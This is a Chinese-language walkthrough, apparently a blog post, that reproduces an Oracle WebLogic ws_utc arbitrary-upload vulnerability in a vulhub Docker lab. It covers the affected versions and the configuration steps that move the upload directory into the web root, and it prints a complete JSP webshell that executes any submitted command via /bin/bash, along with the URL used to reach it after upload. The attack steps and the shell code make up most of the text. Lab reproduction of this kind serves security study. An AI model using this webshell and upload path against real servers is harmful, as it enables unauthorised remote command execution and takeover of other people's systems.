前言
影响的版本:Oracle WebLogic Server,版本10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3。
受到影响的页面为/ws_utc/config.do和ws_utc/begin.do
利用该漏洞,可以上传任意jsp文件,进而获取服务器权限
环境搭建
此漏洞环境依托于vulhub,前提是搭建好vulhub环境。搭建好环境后,切换到漏洞对应的目录下,启动docker。
环境启动后,访问http://your-ip:7001/console
,即可看到后台登录页面,执行docker-compose logs | grep password
可以查看管理员密码,就可以登陆到后台里面了(注意:默认用户名是weblogic,而不是时admin)
登陆到后台之后就要进行一些配置了,点击base_domain–>高级–>勾上web服务测试页
漏洞复现
访问http://your-ip:7001/ws_utc/config.do,设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
更改目录的原因是给出的默认目录不在web工作目录,所以要更改到web的工作目录。如果不更改,shell会上传到
/u01/oracle/user_projects/domains/base_domain/tmp/WSTestPageWorkDir/config/keystore/
目录下面,访问会是404,还要登陆后wls_utc才能访问(http://47.52.239.99:7001/ws_utc/login.do)
静态文件css目录,访问这个目录是不需要权限的
点击安全–>添加,然后上传webshell
以下是jsp脚本
<%@ page import="java.util.*,java.io.*,java.net.*"%>
<HTML><BODY>
<FORM METHOD="POST" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
Process p = Runtime.getRuntime().exec("/bin/bash -c " + request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr); disr = dis.readLine(); }
}
%>
</pre>
</BODY></HTML>
//如果使用windows环境的话,exec后面的命令就应该改为:cmd.exe /c
前面是一个表单,方便输入命令,下面才是jsp脚本
request.getParameter():作用是在页面中获取后台传入的数据
out.println():控制输出
process:是java程序想要执行linux主要依赖的类,这里定义了一个p
OutputStream/InputStream:控制输入和输出流
上传后的文件名为:时间戳+下划线+上传的文件名名称,然后再用浏览器去访问就行了
http://your-ip:7001/ws_utc/css/config/keystroe/1563019467803_shell.jsp